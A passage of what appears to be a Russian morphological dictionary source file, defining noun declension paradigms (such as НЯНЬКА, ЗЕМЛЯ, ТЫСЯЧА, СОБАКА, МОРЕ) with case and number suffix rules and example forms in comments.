ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-2%+ЕЙ" "%-2%+ИХ" } // ПРИХОЖЕЙ ПРИХОЖЫХ } paradigm НЯНЬКА, Сущ_2025 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ЬКА" { ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // НЯНЬКА ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+И" } // НЯНЬКИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЙ" } // НЯНЬКОЙ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЮ" } // НЯНЬКОЮ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+У" } // НЯНЬКУ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Е" } // НЯНЬКЕ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // НЯНЬКЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // НЯНЬКИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-3%+ЕК" } :: flexer "pl" // НЯНЕК ПАДЕЖ:ТВОР ЧИСЛО:МН { "%+МИ" } :: flexer "pl" // НЯНЬКАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-3%+ЕК" } :: flexer "pl" // НЯНЕК ПАДЕЖ:ДАТ ЧИСЛО:МН { "%+М" } :: flexer "pl" // НЯНЬКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%+Х" } :: flexer "pl" // НЯНЬКАХ } paradigm /*ЛЕДИ*/ Сущ_2026 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ЛЕДИ ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "" } // ЛЕДИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "" } // ЛЕДИ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "" } // ЛЕДИ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "" } // ЛЕДИ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "" } // ЛЕДИ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "" } :: flexer "pl" // ЛЕДИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "" } :: flexer "pl" // ЛЕДИ ПАДЕЖ:ТВОР ЧИСЛО:МН { "" } :: flexer "pl" // ЛЕДИ ПАДЕЖ:ВИН ЧИСЛО:МН { "" } :: flexer "pl" // ЛЕДИ ПАДЕЖ:ДАТ ЧИСЛО:МН { "" } :: flexer "pl" // ЛЕДИ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "" } :: flexer "pl" // ЛЕДИ } paradigm /*ЗЕМЛЯ*/ Сущ_2027 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // ЗЕМЛЯ ЗЕМЛИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-2%+ЕЛЬ" } // ЗЕМЛИ ЗЕМЕЛЬ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ЁЙ" "%-1%+ЯМИ" } // ЗЕМЛЁЙ ЗЕМЛЯМИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЁЮ" } // ЗЕМЛЁЮ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+Ю" "%-1%+И" } // ЗЕМЛЮ ЗЕМЛИ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%-1%+ЯМ" } // ЗЕМЛЕ ЗЕМЛЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+ЯХ" } // ЗЕМЛЕ ЗЕМЛЯХ } paradigm /*ШЕЯ*/ Сущ_2028 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // ШЕЯ ШЕИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-1%+Й" } // ШЕИ ШЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ЕЙ" "%+МИ" } // ШЕЕЙ ШЕЯМИ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+Ю" "%-1%+И" } // ШЕЮ ШЕИ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%+М" } // ШЕЕ ШЕЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%+Х" } // ШЕЕ ШЕЯХ } paradigm ТЫСЯЧА, Сущ_2030 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)[ЧШЩ]А" { ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ТЫСЯЧА ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+И" } // ТЫСЯЧИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕЙ" } // ТЫСЯЧЕЙ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕЮ" } // ТЫСЯЧЕЮ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+У" } // ТЫСЯЧУ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Е" } // ТЫСЯЧЕ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // ТЫСЯЧЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // ТЫСЯЧИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1" } :: flexer "pl" // ТЫСЯЧ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%-1%+АМИ" } :: flexer "pl" // ТЫСЯЧАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // ТЫСЯЧИ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+АМ" } :: flexer "pl" // ТЫСЯЧАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+АХ" } :: flexer "pl" // ТЫСЯЧАХ } paradigm /*СОБАКА*/ Сущ_2031 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // СОБАКА СОБАКИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-1" } // СОБАКИ СОБАК ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ОЙ" "%+МИ" } // СОБАКОЙ СОБАКАМИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЮ" } // СОБАКОЮ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+У" "%-1" } // СОБАКУ СОБАК ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%+М" } // СОБАКЕ СОБАКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%+Х" } // СОБАКЕ СОБАКАХ } paradigm /*СПАЛЬНЯ*/ Сущ_2032 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // СПАЛЬНЯ СПАЛЬНИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-3%+ЕН" } // СПАЛЬНИ СПАЛЕН ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ЕЙ" "%-1%+ЯМИ" } // СПАЛЬНЕЙ СПАЛЬНЯМИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕЮ" } // СПАЛЬНЕЮ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+Ю" "%-1%+И" } // СПАЛЬНЮ СПАЛЬНИ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%-1%+ЯМ" } // СПАЛЬНЕ СПАЛЬНЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+ЯХ" } // СПАЛЬНЕ СПАЛЬНЯХ } paradigm СКАМЕЙКА, Сущ_2035 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ЙКА" { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // СКАМЕЙКА СКАМЕЙКИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-3%+ЕК" } // СКАМЕЙКИ СКАМЕЕК ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ОЙ" "%-1%+АМИ" } // СКАМЕЙКОЙ СКАМЕЙКАМИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЮ" } // СКАМЕЙКОЮ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+У" "%-1%+И" } // СКАМЕЙКУ СКАМЕЙКИ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%-1%+АМ" } // СКАМЕЙКЕ СКАМЕЙКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+АХ" } // СКАМЕЙКЕ СКАМЕЙКАХ } paradigm КАНАРЕЙКА, Сущ_2035_одуш : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ЙКА" { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // КАНАРЕЙКА КАНАРЕЙКИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-3%+ЕК" } // КАНАРЕЙКИ КАНАРЕЕК ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ОЙ" "%-1%+АМИ" } // КАНАРЕЙКОЙ КАНАРЕЙКАМИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЮ" } // КАНАРЕЙКОЮ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+У" "%-3%+ЕК" } // КАНАРЕЙКУ КАНАРЕЕК ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%-1%+АМ" } // КАНАРЕЙКЕ КАНАРЕЙКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+АХ" } // КАНАРЕЙКЕ КАНАРЕЙКАХ } paradigm /*ЩЕКА*/ Сущ_2036 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-3%+ЁКИ" } // ЩЕКА ЩЁКИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-3%+ЁК" } // ЩЕКИ ЩЁК ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ОЙ" "%-3%+ЁКАМИ" } // ЩЕКОЙ ЩЁКАМИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЮ" } // ЩЕКОЮ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+У" "%-3%+ЁКИ" } // ЩЕКУ ЩЁКИ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%-3%+ЁКАМ" } // ЩЕКЕ ЩЁКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-3%+ЁКАХ" } // ЩЕКЕ ЩЁКАХ } paradigm /*СУДЬБА*/ Сущ_2037 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+Ы" } // СУДЬБА СУДЬБЫ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+Ы" "%-3%+ЕБ" } // СУДЬБЫ СУДЕБ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ОЙ" "%+МИ" } // СУДЬБОЙ СУДЬБАМИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЮ" } // СУДЬБОЮ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+У" "%-1%+Ы" } // СУДЬБУ СУДЬБЫ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%+М" } // СУДЬБЕ СУДЬБАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%+Х" } // СУДЬБЕ СУДЬБАХ } paradigm СВЕЧА, Сущ_2038 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ЧА" { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // СВЕЧ СВЕЧИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-1%+ЕЙ" } // СВЕЧИ СВЕЧЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ОЙ" "%-1%+АМИ" } // СВЕЧОЙ СВЕЧАМИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЮ" } // СВЕЧОЮ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+У" "%-1%+И" } // СВЕЧУ СВЕЧИ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%-1%+АМ" } // СВЕЧЕ СВЕЧАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+АХ" } // СВЕЧЕ СВЕЧАХ } paradigm /*ЧЕПУХА*/ Сущ_2039 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ЧЕПУХА ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+И" } // ЧЕПУХИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЙ"} // ЧЕПУХОЙ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЮ"} // ЧЕПУХОЮ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+У" } // ЧЕПУХУ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Е" } // ЧЕПУХЕ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // ЧЕПУХЕ } paradigm /*ВОЛЯ*/ Сущ_2040 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ВОЛЯ ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+И" } // ВОЛИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕЙ"} // ВОЛЕЙ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕЮ"} // ВОЛЕЮ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+Ю" } // ВОЛЮ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Е" } // ВОЛЕ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // ВОЛЕ } paradigm /*ЗМЕЯ*/ Сущ_2041 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // ЗМЕЯ ЗМЕИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-1%+Й" } // ЗМЕИ ЗМЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ЁЙ" "%+МИ" } // ЗМЕЁЙ ЗМЕЯМИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЁЮ" } // ЗМЕЮ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+Ю" "%-1%+И" } // ЗМЕЮ ЗМЕИ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%+М" } // ЗМЕЕ ЗМЕЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%+Х" } // ЗМЕЕ ЗМЕЯХ } // несклоняемые paradigm /*СОЛЯРИС*/ Сущ_2042 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "" } ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "" } ПАДЕЖ:ВИН ЧИСЛО:ЕД { "" } ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "" } ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "" } ПАДЕЖ:(ИМ) ЧИСЛО:МН { "" } :: flexer "pl" ПАДЕЖ:(РОД) ЧИСЛО:МН { "" } :: flexer "pl" ПАДЕЖ:ТВОР ЧИСЛО:МН { "" } :: flexer "pl" ПАДЕЖ:ВИН ЧИСЛО:МН { "" } :: flexer "pl" ПАДЕЖ:ДАТ ЧИСЛО:МН { "" } :: flexer "pl" ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "" } :: flexer "pl" } paradigm /*КАПЛЯ*/ Сущ_2044 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // КАПЛЯ КАПЛИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-2%+ЕЛЬ" } // КАПЛИ КАПЕЛЬ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ЕЙ" "%-1%+ЯМИ" } // КАПЛЕЙ КАПЛЯМИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕЮ" } // КАПЛЕЮ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+Ю" "%-1%+И" } // КАПЛЮ КАПЛИ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%-1%+ЯМ" } // КАПЛЕ КАПЛЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+ЯХ" } // КАПЛЕ КАПЛЯХ } paradigm /*ДЕРЕВНЯ*/ Сущ_2045 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // ДЕРЕВНЯ ДЕРЕВНИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-2%+ЕНЬ" } // ДЕРЕВНИ ДЕРЕВЕНЬ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ЕЙ" "%-1%+ЯМИ" } // ДЕРЕВНЕЙ ДЕРЕВНЯМИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕЮ" } // ДЕРЕВНЕЮ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+Ю" "%-1%+И" } // ДЕРЕВНЮ ДЕРЕВНИ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%-1%+ЯМ" } // ДЕРЕВНЕ ДЕРЕВНЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+ЯХ" } // ДЕРЕВНЕ ДЕРЕВНЯХ } paradigm /*ДУША*/ Сущ_2048 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // ДУША ДУШИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-1" } // ДУШИ ДУШ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ОЙ" "%-1%+АМИ" } // ДУШОЙ ДУШАМИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЮ" } // ДУШОЮ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+У" "%-1%+И" } // ДУШУ ДУШИ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%-1%+АМ" } // ДУШЕ ДУШАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+АХ" } // ДУШЕ ДУШАХ } paradigm /*ПИЩА*/ Сущ_2049 : СУЩЕСТВИТЕЛЬНОЕ { РОД:ЖЕН ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ПИЩА ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+И" } // ПИЩИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕЙ" } // ПИЩЕЙ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕЮ" } // ПИЩЕЮ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+У" } // ПИЩУ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Е" } // ПИЩЕ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // ПИЩЕ } paradigm СТУПЕНЬКА, Сущ_2050 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ЬКА" { РОД:ЖЕН ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // СТУПЕНЬКА СТУПЕНЬКИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-3%+ЕК" } // СТУПЕНЬКИ СТУПЕНЕК ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ОЙ" "%+МИ" } // СТУПЕНЬКОЙ СТУПЕНЬКАМИ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+У" "%-1%+И" } // СТУПЕНЬКУ СТУПЕНЬКИ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%+М" } // СТУПЕНЬКЕ СТУПЕНЬКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%+Х" } // СТУПЕНЬКЕ СТУПЕНЬКАХ } paradigm /*СТРЯПНЯ*/ Сущ_2051 : СУЩЕСТВИТЕЛЬНОЕ { РОД:ЖЕН ПЕРЕЧИСЛИМОСТЬ:НЕТ ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // СТРЯПНЯ ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+И" } // СТРЯПНИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЁЙ" } // СТРЯПНЁЙ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЁЮ" } // СТРЯПНЁЮ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+Ю" } // СТРЯПНЮ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Е" } // СТРЯПНЕ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // СТРЯПНЕ } paradigm Анастасия, Сущ_2052 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)\\@бИЯ" { РОД:ЖЕН ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // АНАСТАСИЯ АНАСТАСИИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-1%+Й" } // АНАСТАСИИ АНАСТАСИЙ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ЕЙ" "%+МИ" } // АНАСТАСИЕЙ АНАСТАСИЯМИ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+Ю" "%-1%+Й" } // АНАСТАСИЮ АНАСТАСИЙ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+И" "%+М" } // АНАСТАСИИ АНАСТАСИЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+И" "%+Х" } // АНАСТАСИИ АНАСТАСИЯХ } paradigm Авдотья, Сущ_2053 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)\\@бЬЯ" { РОД:ЖЕН ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // АВДОТЬЯ АВДОТЬИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-2%+ИЙ" } // АВДОТЬИ АВДОТИЙ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ЕЙ" "%+МИ" } // АВДОТЬЕЙ АВДОТЬЯМИ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+Ю" "%-2%+ИЙ" } // АВДОТЬЮ АВДОТИЙ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%+М" } // АВДОТЬЕ АВДОТЬЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%+Х" } // АВДОТЬЕ АВДОТЬЯХ } paradigm /*ПАШНЯ*/ Сущ_2054: СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+и" } // пашня пашни ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+и" "%-2%+ен" } // пашни пашен ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+еЙ" "%+МИ" } // пашней пашнями ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ею" } // пашнею ПАДЕЖ:ВИН ЧИСЛО { "%-1%+ю" "%-1%+и" } // пашню пашни ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+е" "%+м" } // пашне пашням ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+е" "%+х" } // пашне пашнях } paradigm /*петля*/ Сущ_2055: СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+и" } // петля петли ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+и" "%-2%+ель" } // петли петель ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+еЙ" "%+МИ" } // петлей петлями ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ею" } // петлею ПАДЕЖ:ВИН ЧИСЛО { "%-1%+ю" "%-1%+и" } // петлю петли ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+е" "%+м" } // петле петлям ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+е" "%+х" } // петле петлях } paradigm /*пеня*/ Сущ_2056: СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+и" } // пеня пени ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+и" } // пени ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+еЙ" "%+МИ" } // пеней пенями ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ею" } // пенею ПАДЕЖ:ВИН ЧИСЛО { "%-1%+ю" "%-1%+и" } // пеню пени ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+е" "%+м" } // пене пеням ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+е" "%+х" } // пене пенях } // Отличие от 2010 - в дательном падеже единственного числа paradigm /*ГАЛЕРЕЯ*/ Сущ_2057 : СУЩЕСТВИТЕЛЬНОЕ { РОД:ЖЕН ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // ГАЛЕРЕЯ ГАЛЕРЕИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-1%+Й" } // ГАЛЕРЕИ ГАЛЕРЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ЕЙ" "%+МИ" } // ГАЛЕРЕЕЙ ГАЛЕРЕЯМИ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+Ю" "%-1%+И" } // ГАЛЕРЕЮ ГАЛЕРЕИ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%+М" } // ГАЛЕРЕЕ ГАЛЕРЕЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%+Х" } // ГАЛЕРЕЕ ГАЛЕРЕЯХ } paradigm /*МОРЕ*/ Сущ_3001 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+Я" } // МОРЕ МОРЯ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+Я" "%-1%+ЕЙ" } // МОРЯ МОРЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%+М" "%-1%+ЯМИ" } // МОРЕМ МОРЯМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-1%+Я" } // МОРЕ МОРЯ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Ю" "%-1%+ЯМ" } // МОРЮ МОРЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+ЯХ" } // МОРЕ МОРЯХ } paradigm ПРЕДУПРЕЖДЕНИЕ, Сущ_3003 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ИЕ" { РОД:СР ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:Ед { "" } // предупреждение ПАДЕЖ:(РОД) ЧИСЛО:Ед { "%-1%+Я" } // ПРЕДУПРЕЖДЕНИЯ ПАДЕЖ:ТВОР ЧИСЛО:Ед { "%-1%+ЕМ" } // ПРЕДУПРЕЖДЕНИЕМ ПАДЕЖ:ВИН ЧИСЛО:Ед { "" } // ПРЕДУПРЕЖДЕНИЕ ПАДЕЖ:ДАТ ЧИСЛО:Ед { "%-1%+Ю" } // ПРЕДУПРЕЖДЕНИЮ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:Ед { "%-1%+И" } // ПРЕДУПРЕЖДЕНИИ ПАДЕЖ:(ИМ) ЧИСЛО:Мн { "%-1%+Я" } :: flexer "pl" // ПРЕДУПРЕЖДЕНИЯ ПАДЕЖ:(РОД) ЧИСЛО:Мн { "%-1%+Й" } :: flexer "pl" // ПРЕДУПРЕЖДЕНИЙ ПАДЕЖ:ТВОР ЧИСЛО:Мн { "%-1%+ЯМИ" } :: flexer "pl" // ПРЕДУПРЕЖДЕНИЯМИ ПАДЕЖ:ВИН ЧИСЛО:Мн { "%-1%+Я" } :: 